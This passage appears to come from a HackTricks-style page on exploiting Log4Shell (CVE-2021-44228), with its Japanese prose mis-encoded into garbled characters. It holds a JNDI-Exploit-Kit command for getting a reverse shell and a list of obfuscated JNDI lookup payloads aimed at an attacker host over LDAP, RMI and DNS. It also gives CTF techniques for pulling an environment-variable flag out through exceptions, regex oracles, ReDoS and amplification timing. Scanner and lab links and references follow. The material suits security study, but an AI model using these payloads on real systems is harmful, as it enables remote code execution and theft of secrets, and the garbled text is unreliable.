JNDI-Exploit-Kitã䜿çšããŠãè匱ãªãã·ã³ããã®æ¥ç¶ãåŸ æ©ããJNDIãªã³ã¯ãçæããŸããJNDI-Exploit-Kitã«ãã£ãŠèªåçã«çæãããç°ãªããšã¯ã¹ããã€ãããããªãèªèº«ã®ãã·ãªã¢ã©ã€ãºãã€ããŒãïŒããªãèªèº«ãŸãã¯ysoserialã«ãã£ãŠçæããããã®ïŒãæäŸããããšãã§ããŸãã
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
.png)
ããã§ãçæãããJNDIãªã³ã¯ã䜿çšããŠè匱æ§ãæªçšãããªããŒã¹ã·ã§ã«ãååŸããããšãç°¡åã«ãªããŸããè匱ãªããŒãžã§ã³ã®log4jã«éä¿¡ããã ãã§ã: ${ldap://10.10.14.10:1389/generated}
ãã€ãã¹
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
èªåã¹ãã£ããŒ
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - ããŒã«ã«ã®è匱ãªã©ã€ãã©ãªãèŠã€ãã
ãã¹ãçšã©ã
- LogForge HTBãã·ã³
- Try Hack Me Solarã«ãŒã
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Post-Log4Shellã®æªçš
ãã®CTFã®è§£èª¬ã§ã¯ãLog4Jã®ããã€ãã®æ©èœãæªçšããããšãå¯èœã§ããããšããã説æãããŠããŸãã
Log4jã®ã»ãã¥ãªãã£ããŒãžã«ã¯è峿·±ãæããããŸãïŒ
ããŒãžã§ã³2.16.0ïŒJava 8çšïŒãããã¡ãã»ãŒãžã«ãã¯ã¢ããæ©èœã¯å®å šã«åé€ãããŸãããæ§æå ã®ã«ãã¯ã¢ããã¯ãŸã æ©èœããŸããããã«ãLog4jã¯ããã©ã«ãã§JNDIãžã®ã¢ã¯ã»ã¹ãç¡å¹ã«ããŸããæ§æå ã®JNDIã«ãã¯ã¢ããã¯æç€ºçã«æå¹ã«ããå¿ èŠããããŸãã
ããŒãžã§ã³2.17.0ïŒJava 7ããã³Java 6çšã®2.12.3ããã³2.3.1ïŒãããæ§æå ã®ã«ãã¯ã¢ããæååã®ã¿ãååž°çã«å±éãããŸããä»ã®äœ¿çšæ³ã§ã¯ãæäžäœã®ã«ãã¯ã¢ããã®ã¿ã解決ããããã¹ããããã«ãã¯ã¢ããã¯è§£æ±ºãããŸããã
ããã¯ãããã©ã«ãã§ã¯**jndiã®æªçšãå¿ããããšãã§ãã**ããšãæå³ããŸããããã«ãååž°çã«ãã¯ã¢ãããå®è¡ããã«ã¯ãããããæ§æããå¿
èŠããããŸãã
äŸãã°ããã®CTFã§ã¯ãlog4j2.xmlãã¡ã€ã«ã§ãããæ§æãããŠããŸããïŒ
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
ç°å¢å€æ°ã®æ€çŽ¢
ãã® CTF ã§ã¯ãæ»æè
㯠${sys:cmd} ã®å€ãå¶åŸ¡ããç°å¢å€æ°ãããã©ã°ãæœåºããå¿
èŠããããŸããã
ãã®ããŒãžã§èŠããã 以åã®ãã€ããŒã ã§ã¯ã${env:FLAG} ã®ããã«ç°å¢å€æ°ã«ã¢ã¯ã»ã¹ããããã€ãã®æ¹æ³ããããŸãããã®CTFã§ã¯ç¡é§ã§ããããä»ã®å®éã®ã·ããªãªã§ã¯ç¡é§ã§ã¯ãªããããããŸããã
äŸå€ã«ãããæœåº
CTFã§ã¯ãlog4Jã䜿çšããŠJavaã¢ããªã±ãŒã·ã§ã³ã®stderrã«ã¢ã¯ã»ã¹ã§ããŸããã§ããããLog4Jã®äŸå€ã¯stdoutã«éä¿¡ãããPythonã¢ããªã±ãŒã·ã§ã³ã«å°å·ãããŸãããããã¯ãäŸå€ãããªã¬ãŒããããšã§å
容ã«ã¢ã¯ã»ã¹ã§ããããšãæå³ããŸããããã©ã°ãæœåºããããã®äŸå€ã¯æ¬¡ã®ãšããã§ã: ${java:${env:FLAG}}ãããã¯ã${java:CTF{blahblah}} ãååšããªãããæ©èœãããã©ã°ã®å€ãæã€äŸå€ã衚瀺ãããŸãïŒ
.png)
倿ãã¿ãŒã³ã®äŸå€
念ã®ããã«èšåãããšãæ°ãã 倿ãã¿ãŒã³ ãæ³šå
¥ããstdout ã«èšé²ãããäŸå€ãããªã¬ãŒããããšãã§ããŸããäŸãã°ïŒ
.png)
ããã¯ããšã©ãŒã¡ãã»ãŒãžå ã®æ¥ä»ãæœåºããã®ã«ã¯åœ¹ç«ã¡ãŸããã§ããããªããªãã倿ãã¿ãŒã³ã®åã«æ€çŽ¢ã解決ãããªãã£ãããã§ãããæ€åºãªã©ã®ä»ã®ããšã«ã¯åœ¹ç«ã€ãããããŸããã
倿ãã¿ãŒã³ã®æ£èŠè¡šçŸ
ãã ããæ£èŠè¡šçŸããµããŒãããããã€ãã®å€æãã¿ãŒã³ã䜿çšããŠãæ£èŠè¡šçŸã䜿çšããäºåæ¢çŽ¢ãŸãã¯æéããŒã¹ã®åäœãæªçšããŠãæ€çŽ¢ããæ å ±ãæœåºããããšãå¯èœã§ãã
- äŸå€ã¡ãã»ãŒãžã«ããäºåæ¢çŽ¢
倿ãã¿ãŒã³ %replace ã¯ãæ£èŠè¡šçŸã䜿çšããŠæååã®å
容ã眮ãæããããã«äœ¿çšã§ããŸããåäœã¯æ¬¡ã®ããã«ãªããŸã: replace{pattern}{regex}{substitution}
ãã®åäœãæªçšããããšã§ãæ£èŠè¡šçŸãæååå
ã®äœãã«äžèŽããå Žåã«äŸå€ãããªã¬ãŒãïŒèŠã€ãããªãã£ãå Žåã¯äŸå€ãªãïŒã次ã®ããã«ããããšãã§ããŸãïŒ
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- æéããŒã¹
åã®ã»ã¯ã·ã§ã³ã§è¿°ã¹ãããã«ã%replaceã¯regexesããµããŒãããŠããŸãããããã£ãŠããã©ã°ãèŠã€ãã£ãå Žåã«ã¿ã€ã ã¢ãŠããåŒãèµ·ããããã«ãReDoSããŒãžãããã€ããŒãã䜿çšããããšãå¯èœã§ãã
äŸãã°ã%replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd}ã®ãããªãã€ããŒãã¯ããã®CTFã§ã¿ã€ã ã¢ãŠããåŒãèµ·ãããŸãã
ãã®æžã蟌ã¿ã§ã¯ãReDoSæ»æã®ä»£ããã«å¢å¹ æ»æã䜿çšããŠå¿çã®æéå·®ãåŒãèµ·ãããŸããïŒ
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}ãã©ã°ã
flagGuessã§å§ãŸãå Žåãå šäœã®ãã©ã°ã¯29åã®#ã«çœ®ãæããããŸãïŒãã®æåã䜿çšããã®ã¯ããã©ã°ã®äžéšã§ãªãå¯èœæ§ãé«ãããã§ãïŒãçµæãšããŠåŸããã29åã®#ã¯54åã®#ã«çœ®ãæããããŸãããã®ããã»ã¹ã¯6åç¹°ãè¿ãããåèšã§29*54*54^6* =`` ``96816014208#ãçæãããŸãïŒããã»ã©å€ãã®
#ã眮ãæãããšãFlaskã¢ããªã±ãŒã·ã§ã³ã®10ç§ã®ã¿ã€ã ã¢ãŠããçºçãããã®çµæãHTTPã¹ããŒã¿ã¹ã³ãŒã500ããŠãŒã¶ãŒã«éä¿¡ãããŸããïŒãã©ã°ãflagGuessã§å§ãŸããªãå Žåã500以å€ã®ã¹ããŒã¿ã¹ã³ãŒããè¿ãããŸãïŒ
åèæç®
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


